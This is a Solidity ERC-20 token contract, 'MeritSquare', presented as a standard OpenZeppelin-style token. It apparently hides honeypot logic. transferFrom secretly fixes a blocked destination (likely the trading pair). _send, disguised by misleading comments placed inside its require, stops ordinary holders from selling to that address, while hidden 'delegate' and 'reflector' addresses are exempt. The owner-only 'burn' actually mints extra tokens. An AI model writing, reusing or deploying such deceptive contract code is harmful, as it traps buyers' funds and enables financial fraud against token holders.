Contract Name:
MeritSquare
Contract Source Code:
File 1 of 1 : MeritSquare
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
}
contract MeritSquare is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
reflector = _ref;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}